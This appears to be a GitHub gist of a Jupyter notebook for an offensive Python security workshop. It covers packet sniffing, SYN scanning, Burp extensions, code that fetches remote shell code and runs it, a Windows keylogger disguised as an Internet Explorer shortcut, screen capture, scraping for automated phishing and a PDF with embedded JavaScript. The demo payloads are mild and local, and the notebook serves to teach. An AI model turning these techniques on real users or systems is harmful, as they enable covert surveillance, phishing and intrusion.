Last active
December 19, 2022 07:15
-
-
Save fheisler/3d084b7f50582ff8e0a17cfee545c549 to your computer and use it in GitHub Desktop.
Hunter2: Offensive Python Workshop
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"cells": [ | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"<center>\n", | |
" <h1>Hunter2: Offensive Python workshop</h1>\n", | |
" <img style=\"height:200px\" src=\"https://avatars2.githubusercontent.com/u/34970458\">\n", | |
"</center>\n", | |
"\n", | |
"### https://hunter2.com\n", | |
"### [email protected]" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"### Motivation:\n", | |
"\n", | |
"#### Why custom scripts?\n", | |
"- Working on systems without services installed\n", | |
"- Working around a firewall/security system\n", | |
"- Crafting custom tools\n", | |
"- More fully understanding how systems and tools work\n", | |
"\n", | |
"#### Why Python?\n", | |
"- Free\n", | |
"- Commonly found + easy to install\n", | |
"- Flexible and extensible\n", | |
"- Many existing modules\n", | |
"- Large community" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"## OS basics" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"import os\n", | |
"\n", | |
"print(os.environ)\n", | |
"\n", | |
"print(os.getcwd())\n", | |
"\n", | |
"os.listdir(\".\")" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Directory walking\n", | |
"\n", | |
"import os\n", | |
"\n", | |
"keys_dir = os.path.expanduser('~/Applications/') # expand from a user's local directory into /.ssh\n", | |
"if os.path.isdir(keys_dir):\n", | |
" for folder, subfolders, files in os.walk(keys_dir):\n", | |
" print('Directory: %s' % folder)\n", | |
" for fname in files:\n", | |
" print('\\tFile: %s' % fname)" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Running shell commands\n", | |
"import subprocess\n", | |
"\n", | |
"# v1: pass a list, starting with the command to run followed by args\n", | |
"print(subprocess.check_output(['ls', '-a']).decode())\n", | |
"\n", | |
"# v2: use threads and Popen for more customization (partial example)\n", | |
"proc = subprocess.Popen('pwd', stdout=subprocess.PIPE)\n", | |
"proc.wait()\n", | |
"for line in proc.stdout:\n", | |
" print(line.decode())\n", | |
"\n", | |
"# v3: pass shellcode directly to the default shell\n", | |
"print(subprocess.check_output(\"ls -a | wc -l\", shell=True).decode())" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Also available in Jupyter notebooks directly\n", | |
"!pwd" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"%%ruby\n", | |
"\n", | |
"# Run other languages directly in notebook\n", | |
"puts \"hello ruby\"" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Other magic available\n", | |
"%lsmagic" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"## Creating clients and servers" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"### Basic sockets" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Simple HTTP server\n", | |
"! python -m http.server\n", | |
"\n", | |
"#! python2 -m SimpleHTTPServer" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# TCP/IP client for raw HTTP traffic\n", | |
"\n", | |
"import socket\n", | |
"\n", | |
"target = (\"example.com\", 80)\n", | |
"\n", | |
"request = b\"\"\"\n", | |
"GET / HTTP/1.1\n", | |
"Host: example.com\n", | |
"\n", | |
"\"\"\" # note the extra empty line above to designate the end of the headers\n", | |
"\n", | |
"client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n", | |
"# for UDP, would use socket.SOCK_DGRAM and sendto() / recvfrom() without establishing a connection\n", | |
"\n", | |
"client.settimeout(5)\n", | |
"\n", | |
"client.connect(target)\n", | |
"client.send(request)\n", | |
"\n", | |
"response = client.recv(1024)\n", | |
"print(response.decode())" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# TCP server\n", | |
"\n", | |
"import socket\n", | |
"import threading\n", | |
"\n", | |
"target = ('localhost', 9001)\n", | |
"max_connections = 5\n", | |
"\n", | |
"# Create a TCP/IP socket, bind to the target, and listen for up to max_connections\n", | |
"sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n", | |
"sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # allow port reuse if connection hangs\n", | |
"sock.bind(target)\n", | |
"sock.listen(max_connections)\n", | |
"\n", | |
"def handle_client(client):\n", | |
" while True:\n", | |
" data = client.recv(16) # Receive 16 bytes at a time\n", | |
" if data:\n", | |
" print(b'Received \"%s\"' % data)\n", | |
" else:\n", | |
" break\n", | |
" client.sendall(b\"senpai noticed you\")\n", | |
" client.close()\n", | |
" print(\"Closed connection.\")\n", | |
"\n", | |
"while True:\n", | |
" client, addr = sock.accept()\n", | |
" print(\"Accepted connection from %s on port %s\" % addr)\n", | |
" client_handler = threading.Thread(target=handle_client, args=(client,))\n", | |
" client_handler.start()" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# TCP client (needs to be run in a separate process from the server above)\n", | |
"\n", | |
"import socket\n", | |
"\n", | |
"# Connect the socket to the port where the server is listening\n", | |
"server_address = ('localhost', 9001)\n", | |
"sock = socket.create_connection(server_address)\n", | |
"\n", | |
"message = b'Hello server. Please acknowledge me.'\n", | |
"\n", | |
"try:\n", | |
" print('Sending: %s\"' % message)\n", | |
" sock.sendall(message)\n", | |
" while True:\n", | |
" data = sock.recv(1024)\n", | |
" if data:\n", | |
" print('Received: %s' % data)\n", | |
" else:\n", | |
" break\n", | |
"finally:\n", | |
" sock.close()" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"### SSH server + client" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"#### Paramiko demo SSH server:\n", | |
"Visit https://github.com/paramiko/paramiko/tree/master/demos for the following files:\n", | |
"- `demo_server.py`\n", | |
"- `test_rsa.key` RSA demo private key\n", | |
"- `demo.py` client\n", | |
"- `interactive.py` for interactive shell, in same folder as `demo.py`\n", | |
"\n", | |
"username: `robey`, password: `foo`\n", | |
"\n", | |
"Point `demo_server.py` at the `test_rsa.key` file and set `DoGSSAPIKeyExchange` to be `False`" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Generating custom server keys\n", | |
"! openssl genrsa -des3 -out ssh_private.pem 2048\n", | |
"! openssl rsa -in ssh_private.pem -outform PEM -pubout -out ssh_public.pem" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"### FTP server" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Uses twistd, Twisted daemon\n", | |
"# need to `pip install twisted` first\n", | |
"# `-n` flag runs Twisted synchronously in the foreground instead of as a background daemon\n", | |
"\n", | |
"! twistd -n ftp" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"### Anonymous FTP client access" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"import ftplib\n", | |
"\n", | |
"for host in ['ftp.ubuntu.com', 'ftp.debian.org']:\n", | |
" try:\n", | |
" ftp = ftplib.FTP(host)\n", | |
" ftp.login() # no credentials passed\n", | |
" print('Succeeded at ' + str(host))\n", | |
" print(ftp.retrlines('LIST'))\n", | |
" ftp.quit()\n", | |
" except Exception:\n", | |
" print('Failed at ' + str(host))" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"### SSH/DNS traffic tunnels: sshuttle\n", | |
"\n", | |
"https://github.com/apenwarr/sshuttle\n", | |
"\n", | |
"Video demo using Amazon EC2 for SSH tunneling: https://youtu.be/dl2FsIfHo84" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"## Capturing network packets" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"### Scenarios:\n", | |
"- Open wifi sniffing\n", | |
"- Man-in-the-middle attacks\n", | |
"- Data exfiltration\n", | |
"- Custom honeypot\n", | |
"- Network debugging" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"### Installing scapy:\n", | |
"\n", | |
"##### Easiest to use in a [Kali Linux VM](https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-hyperv-image-download/) as root:\n", | |
"\n", | |
"```\n", | |
"pip install scapy\n", | |
"pip install pcapy\n", | |
"```\n", | |
"\n", | |
"##### On MacOS/etc, easiest to run Scapy interactively:\n", | |
"\n", | |
"```\n", | |
"git clone https://github.com/secdev/scapy/\n", | |
"cd scapy/\n", | |
"sudo ./run_scapy_py3\n", | |
"```" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Sniff the next available packet\n", | |
"\n", | |
"from scapy.all import sniff\n", | |
"\n", | |
"sniff(prn=lambda p: p.show(), count=1)" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Sniff any ICMP traffic to/from Google Public DNS over the next 10 seconds\n", | |
"\n", | |
"from scapy.all import sniff\n", | |
"\n", | |
"# optionally pass iface=\"en0\" to specify e.g. en0 as the network interface for sniffing\n", | |
"pings = sniff(filter=\"icmp and host 8.8.8.8\", timeout=10)\n", | |
"pings.summary()" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"## Custom packet crafting and port scanning " | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Ping a site and receive a single response\n", | |
"\n", | |
"from scapy.all import sr1, IP, ICMP\n", | |
"\n", | |
"ping_req = IP(dst=\"example.com\")/ICMP()/\"ABC123ABC123\"\n", | |
"\n", | |
"reply = sr1(ping_req)\n", | |
"\n", | |
"# Display the results in various formats\n", | |
"reply\n", | |
"reply.summary()\n", | |
"reply.show()" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Send SYN-ACK packet to Google and display replies\n", | |
"\n", | |
"from scapy.all import IP, TCP, sr1\n", | |
"\n", | |
"syn_ack = IP(dst=\"google.com\")/TCP(dport=80, flags=\"SA\")\n", | |
"reply = sr1(syn_ack, timeout=3)\n", | |
"\n", | |
"reply\n", | |
"# may be empty if unanswered; may be e.g. \"RST\"" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"### Simple TCP SYN Scanner (or Flooder...)" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Summarize responses to SYN packets from specific ports\n", | |
"\n", | |
"from scapy.all import IP, TCP, sr\n", | |
"\n", | |
"packet = IP(dst=\"example.com\")/TCP(dport=[21,80,443], flags=\"S\")\n", | |
"ans, unans = sr(packet, timeout=5)\n", | |
"\n", | |
"# ans is a two-tuple of (source, reply)\n", | |
"ans.summary(lambda a: a[1].sprintf(\"Port: %TCP.sport% \\t Flags: %TCP.flags%\"))" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Create a table of responses across multiple IPs\n", | |
"\n", | |
"from scapy.all import IP, TCP, sr\n", | |
"\n", | |
"packet = IP(dst=[\"example.com\", \"microsoft.com\", \"ftp.ubuntu.com\"])/TCP(dport=[21,80,443], flags=\"S\")\n", | |
"a, u = sr(packet, timeout=5)\n", | |
"a.make_table(lambda a: (a[0].dst, a[0].dport, \"X\"))" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"## Web scraping and browser automation" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Get a webpage using built-in urllib\n", | |
"\n", | |
"# Python2: import urllib2\n", | |
"from urllib.request import urlopen\n", | |
"\n", | |
"response = urlopen(\"https://example.com\")\n", | |
"print(response.read().decode())" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Get a webpage using requests\n", | |
"\n", | |
"import requests\n", | |
"\n", | |
"response = requests.get(\"https://example.com\")\n", | |
"print(\"Status code: {}\".format(response.status_code))\n", | |
"print(response.content.decode())" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"### Scenarios:\n", | |
"- Keep tabs on a website and respond quickly to changes\n", | |
"- Automate bulk/repeated browser actions\n", | |
"- Custom site crawler" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Grab the current stock price of YHOO\n", | |
"\n", | |
"import requests\n", | |
"from bs4 import BeautifulSoup\n", | |
"\n", | |
"custom_headers = {\n", | |
" 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:27.0) Gecko/20100101 Firefox/27.0',\n", | |
"}\n", | |
"\n", | |
"# ^GSPC, the S&P 500\n", | |
"url = \"http://finance.yahoo.com/q?s=%5EGSPC\"\n", | |
"\n", | |
"response = requests.get(url, headers=custom_headers)\n", | |
"soup = BeautifulSoup(response.content, 'lxml')\n", | |
"\n", | |
"# Search HTML for unique tags around the price\n", | |
"tags = soup.find_all(\"span\", attrs={'data-reactid': '35'})\n", | |
"price = tags[0].string\n", | |
"print(price)\n", | |
"\n", | |
"tags = soup.find_all(\"span\", attrs={'data-reactid': '36'})\n", | |
"delta = tags[0].string\n", | |
"print(delta)" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"### Custom scripts to extend existing tools\n", | |
"\n", | |
"#### Burp Suite Extender\n", | |
"\n", | |
"- Automate manual/complex tasks\n", | |
"- Work with special encoding or unusual data structures (custom serialization)\n", | |
"- Have more granular control of request and response data\n", | |
"- Extend attack logic (e.g. while spidering a site, try a simple attack on all pages matching X)" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# First download and install Jython standalone JAR (Python running on Java): jython.org/downloads.html\n", | |
"# Then point Burp Suite > Extender > Options > Python Environment at the downloaded .jar file\n", | |
"\n", | |
"# The following code goes into a separate .py file loaded into Burp Suite > Extender > Extensions\n", | |
"\n", | |
"from burp import IBurpExtender\n", | |
"\n", | |
"class BurpExtender(IBurpExtender):\n", | |
" def registerExtenderCallbacks(self, callbacks):\n", | |
" callbacks.setExtensionName(\"L33t 3xt3ns10n\")\n", | |
" callbacks.issueAlert(\"Hello alerts tab\")\n", | |
"\n", | |
"# Once loaded, check Burp Suite's Alerts tab on the far right for output from the extension" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"#### First, a minor diversion - simple Python server for a login page:" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# The page shows the current user when the correct credentials (admin/p@ssw0rd) are supplied\n", | |
"\n", | |
"# Python2:\n", | |
"# from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer\n", | |
"# from urlparse import parse_qsl\n", | |
"\n", | |
"from http.server import BaseHTTPRequestHandler, HTTPServer\n", | |
"from urllib.parse import parse_qsl\n", | |
"from base64 import b64decode\n", | |
"\n", | |
"class SimpleServe(BaseHTTPRequestHandler):\n", | |
" page = \"\"\"\n", | |
" <html><body>\n", | |
" <form method=\"POST\">\n", | |
" Username: <input type=\"text\" name=\"user\" required><br />\n", | |
" Password: <input type=\"password\" name=\"pwd\" required><br />\n", | |
" <button type=\"submit\">Login</button>\n", | |
" </form>\n", | |
" Current logged-in user: <span id=\"current-user\">{}</span>\n", | |
" </body></html>\n", | |
" \"\"\"\n", | |
"\n", | |
" def _respond(self, user):\n", | |
" self.send_response(200)\n", | |
" self.send_header('Content-type', 'text/html')\n", | |
" self.end_headers()\n", | |
" self.wfile.write(self.page.format(user).encode())\n", | |
"\n", | |
" def do_GET(self):\n", | |
" self._respond(\"-\")\n", | |
"\n", | |
" def do_POST(self):\n", | |
" content_length = int(self.headers.get('Content-Length'))\n", | |
" post_data = self.rfile.read(content_length)\n", | |
" params = dict(parse_qsl(post_data))\n", | |
" # Python2: not byte strings below!\n", | |
" if b64decode(self.headers.get('Authorization', '')) != params.get(b'user'):\n", | |
" self._respond(\"UNAUTHORIZED\")\n", | |
" elif params.get(b'user') == b'admin' and params.get(b'pwd') == b'p@ssw0rd':\n", | |
" self._respond(\"admin\")\n", | |
" else:\n", | |
" self._respond(\"-\")\n", | |
"\n", | |
"s = HTTPServer(('', 8088), SimpleServe)\n", | |
"s.serve_forever()" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"#### Burp Suite extension for modifying requests" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Burp Suite Python extension for client-side signing of requests\n", | |
"# use processProxyMessage to rewrite outbound traffic\n", | |
"\n", | |
"from burp import IBurpExtender, IProxyListener\n", | |
"from base64 import b64encode\n", | |
"\n", | |
"class BurpExtender(IBurpExtender, IProxyListener):\n", | |
" def registerExtenderCallbacks(self, callbacks):\n", | |
" self._helpers = callbacks.getHelpers()\n", | |
" callbacks.registerProxyListener(self)\n", | |
" callbacks.setExtensionName(\"Add Custom Auth Header\")\n", | |
"\n", | |
" def processProxyMessage(self, is_request, message):\n", | |
" if not is_request:\n", | |
" return\n", | |
"\n", | |
" request = message.getMessageInfo()\n", | |
" request_data = self._helpers.analyzeRequest(request)\n", | |
" body_raw = request.getRequest()[request_data.getBodyOffset():]\n", | |
" body = self._helpers.bytesToString(body_raw)\n", | |
"\n", | |
" headers = list(request_data.getHeaders())\n", | |
" params = list(request_data.getParameters())\n", | |
" for param in params:\n", | |
" if param.name == 'user':\n", | |
" username = str(param.value)\n", | |
" headers.append(\"Authorization: \" + b64encode(username))\n", | |
" break\n", | |
"\n", | |
" new_message = self._helpers.buildHttpMessage(headers, body)\n", | |
" print(self._helpers.bytesToString(new_message))\n", | |
" request.setRequest(new_message)" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"## Exploit development" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"### Execute shell code" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Create a payload file to be served (locally, in this example)\n", | |
"\n", | |
"from base64 import b64encode\n", | |
"\n", | |
"# shellcode payload to be base64-encoded\n", | |
"payload = b64encode(b\"\"\"\n", | |
"echo 'hello target'\n", | |
"pwd\n", | |
"\"\"\").decode()\n", | |
"\n", | |
"# save code as a file\n", | |
"! echo \"{payload}\" > exploit\n", | |
"\n", | |
"# serve the file (needs to be running separate instance from the execution below)\n", | |
"! python -m http.server\n", | |
"\n", | |
"#! python2 -m SimpleHTTPServer" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Grab shell code from the web and execute it\n", | |
"\n", | |
"# Python2: from urllib2 import urlopen\n", | |
"from urllib.request import urlopen\n", | |
"from base64 import b64decode\n", | |
"import subprocess\n", | |
"\n", | |
"response = urlopen(\"http://localhost:8000/exploit\")\n", | |
"code = b64decode(response.read())\n", | |
"\n", | |
"for line in code.decode().split('\\n'):\n", | |
" print(subprocess.check_output(line, shell=True).decode())" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"### Keylogging on Windows" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# PyHook for capturing Windows events\n", | |
"\n", | |
"# First install pyHook on Windows:\n", | |
"# http://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook\n", | |
"# Download pyHook‑1.5.1‑cp27‑cp27m‑win32.whl\n", | |
"# pip install pyHook‑1.5.1‑cp27‑cp27m‑win32.whl\n", | |
"\n", | |
"# Also pip install pypiwin32 (for pythoncom module)\n", | |
"\n", | |
"\n", | |
"###### launch.bat file to replicate Internet Explorer as a shortcut:\n", | |
"@echo off\n", | |
"start \"\" \"c:\\logger.pyw\"\n", | |
"start \"\" \"c:\\program files (x86)\\internet explorer\\iexplore.exe\"\n", | |
"######\n", | |
"\n", | |
"###### .PYW file to run in the background without console output:\n", | |
"import pyHook\n", | |
"import pythoncom\n", | |
"import logging\n", | |
"\n", | |
"log = \"C:\\\\Users\\\\myname\\\\log.txt\"\n", | |
"\n", | |
"def OnKeyboardEvent(event):\n", | |
" logging.basicConfig(filename=log, level=logging.DEBUG, format='%(message)s')\n", | |
" chr(event.Ascii)\n", | |
" logging.log(10, chr(event.Ascii))\n", | |
" return True\n", | |
"\n", | |
"hooks_manager = pyHook.Hook2Manager()\n", | |
"hooks_manager.KeyDown = OnKeyboardEvent\n", | |
"hooks_manager.HookKeyboard()\n", | |
"pythoncom.PumpMessages()" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# PyWin32 for screenshots\n", | |
"\n", | |
"import win32gui, win32ui, win32con, win32api\n", | |
"\n", | |
"hwin = win32gui.GetDesktopWindow()\n", | |
"width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)\n", | |
"height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)\n", | |
"left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)\n", | |
"top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)\n", | |
"hwindc = win32gui.GetWindowDC(hwin)\n", | |
"srcdc = win32ui.CreateDCFromHandle(hwindc)\n", | |
"memdc = srcdc.CreateCompatibleDC()\n", | |
"bmp = win32ui.CreateBitmap()\n", | |
"bmp.CreateCompatibleBitmap(srcdc, width, height)\n", | |
"memdc.SelectObject(bmp)\n", | |
"memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), win32con.SRCCOPY)\n", | |
"bmp.SaveBitmapFile(memdc, 'C:\\\\Users\\\\myname\\\\Downloads\\\\screenshot.bmp')\n" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"### Evading detection\n", | |
"- Encryption/obfuscation\n", | |
"- Sandbox detection\n", | |
"- PyInstaller\n", | |
"- Custom code\n", | |
"- Hooks and pivots" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"## Automated phishing" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": { | |
"collapsed": true | |
}, | |
"source": [ | |
"### Scraping and creatively reusing information\n", | |
"\n", | |
"Related projects to check out:\n", | |
"- [lyricize](https://github.com/fheisler/lyricize): Markov chains to generate lyrics\n", | |
"- [natural language processing on Gmail messages](http://engineroom.trackmaven.com/blog/monthly-challenge-natural-language-processing/) using [NLTK](http://www.nltk.org/)" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# pip install pymarkovchain\n", | |
"\n", | |
"import requests\n", | |
"from bs4 import BeautifulSoup\n", | |
"from pymarkovchain import MarkovChain\n", | |
"import re\n", | |
"\n", | |
"target = \"https://www.digitalunite.com/guides/email/how-send-email\"\n", | |
"response = requests.get(target)\n", | |
"\n", | |
"# Find any email addresses on page\n", | |
"emails = re.findall(r'[\\w\\.-]+@[\\w\\.-]+', response.text)\n", | |
"print(\"Possible addresses found: %s\\n\" % emails)\n", | |
"\n", | |
"# Gather visible text on target page\n", | |
"soup = BeautifulSoup(response.text, 'lxml')\n", | |
"snippets = soup.body.findAll(lambda s: not s.name in ['style', 'script'], text=True)\n", | |
"bag = ' '.join([snip.text.strip() for snip in snippets])\n", | |
"\n", | |
"# Generate new text similar to existing page content\n", | |
"mc = MarkovChain()\n", | |
"mc.generateDatabase(bag)\n", | |
"\n", | |
"subject = mc.generateString()[:40]\n", | |
"body = mc.generateString()[:300] + '\\n' + mc.generateString()[:300]\n", | |
"\n", | |
"print(\"Subject: %s\\n\" % subject)\n", | |
"print(\"Body:\\n%s\" % body)" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"### Sending SMTP emails" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"import smtplib\n", | |
"from email.mime.multipart import MIMEMultipart\n", | |
"from email.mime.text import MIMEText\n", | |
"\n", | |
"sender = \"[email protected]\"\n", | |
"receiver = \"[email protected]\"\n", | |
"\n", | |
"msg = MIMEMultipart()\n", | |
"msg['From'] = sender\n", | |
"msg['To'] = receiver\n", | |
"msg['Subject'] = \"test\"\n", | |
"body = MIMEText(\"click my <a href='https://youtu.be/dQw4w9WgXcQ'>link</a> please\", 'html')\n", | |
"msg.attach(body)\n", | |
"\n", | |
"mail = smtplib.SMTP('smtp.gmail.com', 587)\n", | |
"mail.ehlo()\n", | |
"mail.starttls()\n", | |
"mail.login('my_gmail_username', 'my_password')\n", | |
"mail.sendmail(sender, receiver, msg.as_string())\n", | |
"mail.close()" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"### Create malicious PDF with embedded JS" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"Using [make-pdf tools from Didier Stevens](https://blog.didierstevens.com/programs/pdf-tools/)\n", | |
"\n", | |
"Download: https://didierstevens.com/files/software/make-pdf_V0_1_6.zip\n", | |
"\n", | |
"Place `make-pdf-javascript.py` and `mPDF.py` in your current working directory." | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": {}, | |
"outputs": [], | |
"source": [ | |
"# Works with Python2; for Python3, will need to remove print statements and update resulting byte-strings\n", | |
"\n", | |
"# Save a payload into a JS file\n", | |
"! echo \"app.alert({cMsg: 'Hello PDF', cTitle: 'Testing PDF JavaScript', nIcon: 3});\" > payload.js\n", | |
"\n", | |
"# Run make-pdf-javascript utility to embed payload into a new PDF file\n", | |
"! python make-pdf-javascript.py -f payload.js demo.pdf" | |
] | |
}, | |
{ | |
"cell_type": "code", | |
"execution_count": null, | |
"metadata": { | |
"scrolled": true | |
}, | |
"outputs": [], | |
"source": [ | |
"ls" | |
] | |
}, | |
{ | |
"cell_type": "markdown", | |
"metadata": {}, | |
"source": [ | |
"## Other resources\n", | |
"\n", | |
"Paid products:\n", | |
"- [Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers](https://www.amazon.com/Violent-Python-Cookbook-Penetration-Engineers/dp/1597499579)\n", | |
"- [Black Hat Python](https://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900)\n", | |
"- [Didier Stevens Labs](http://didierstevenslabs.com/products.html)\n", | |
"- [Real Python](https://realpython.com)\n", | |
"\n", | |
"Free:\n", | |
"- (PDF) [Writing Basic Security Tools Using Python](http://www.binary-zone.com/course/HTID/Python4Infosec.pdf)\n", | |
"- [Twisted example scripts](http://twistedmatrix.com/documents/current/core/examples/)" | |
] | |
} | |
], | |
"metadata": { | |
"kernelspec": { | |
"display_name": "Python 3", | |
"language": "python", | |
"name": "python3" | |
}, | |
"language_info": { | |
"codemirror_mode": { | |
"name": "ipython", | |
"version": 3 | |
}, | |
"file_extension": ".py", | |
"mimetype": "text/x-python", | |
"name": "python", | |
"nbconvert_exporter": "python", | |
"pygments_lexer": "ipython3", | |
"version": "3.6.5" | |
} | |
}, | |
"nbformat": 4, | |
"nbformat_minor": 2 | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment